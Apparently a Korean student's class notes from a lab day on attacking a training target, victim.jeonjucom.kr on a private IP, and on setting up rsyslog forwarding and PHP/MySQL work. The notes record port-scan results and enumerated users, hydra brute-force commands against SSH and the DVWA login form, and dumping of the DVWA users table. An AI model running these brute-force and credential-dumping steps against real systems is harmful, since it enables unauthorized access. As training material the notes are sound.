11일차

11일차

홈으로 돌아가기
1. victim.jeonjucom.kr 를 공격하시오
정보수집 후 사이트에 접속하시오

victim.jeonjucom.kr 의 IP는 무엇인가?
192.168.0.126
열려있는 포트는 무엇인가
21/tcp   open  ftp
22/tcp   open  ssh
23/tcp   open  telnet
25/tcp   open  smtp
80/tcp   open  http
110/tcp  open  pop3
143/tcp  open  imap
443/tcp  open  https
3306/tcp open  mysql
5040/tcp open  unknown
5357/tcp open  wsdapi
8080/tcp open  http-proxy

admin password
서버에 등록된 사용자는 몇명인가?
bee
neo
alice
thor
wolverin
johnny
selene
7명
시스템에 접속할 수 있는가?

2. 윈도우 10에서 3대서버로 접속할수 있도록 설정후 
웹 브라우저와 Editplus로 접속하시오

hydra -L user.txt -P passwd.txt 192.168.0.126 ssh
hydra -L user.txt -P passwd.txt victim.jeonjucom.kr http-post-form "/dvwa/login.php:id=^USER^&pw=^PASS^:fail" -V

3. syslogd를 사용한 로그 기록 syslogd는 시스템 로그를 기록하는 프로그램 
/var/log/syslog
syslog > rsyslog로 대체됨

3 192.168.0.126 222

dvwa 로그인
/var/www/config/config파일 확인
mysql -u root -p
bug

show databases;
use dvwa
show tables;
desc users;
select * from users;

mysqldump -u root -p dvwa > dvwa.sql 백업하기
mysql -u st -p st < dvwa.sql 복구
mysql -u st -p
show databases;
use st
show tables;
select * from users;

/etc/rsyslog.d/50~ 파일에 액션 추가
126 데이터베이스로 연결하기
action(type="omfwd"
       queue.filename="IP211.st.kr"
       queue.maxdiskspace="1g"
       queue.saveonshutdown="on"
       queue.type="LinkedList"
       action.resumeRetryCount="-1"
       Target="192.168.0.126" Port="514" Protocol="tcp")

-> 126 데이터베이스에 누적

php 버젼 체크
php -v

MySQL Examples in Both MySQLi and PDO Syntax
In this, and in the following chapters we demonstrate three ways of working with PHP and MySQL:
MySQLi (object-oriented)
MySQLi (procedural)
PDO

로그 모니터링 시스템 개발
php 버전 : 8.3.11
변수 : $password, $user
함수 : md5()
전송방식 : POST
데이터베이스 : Mysql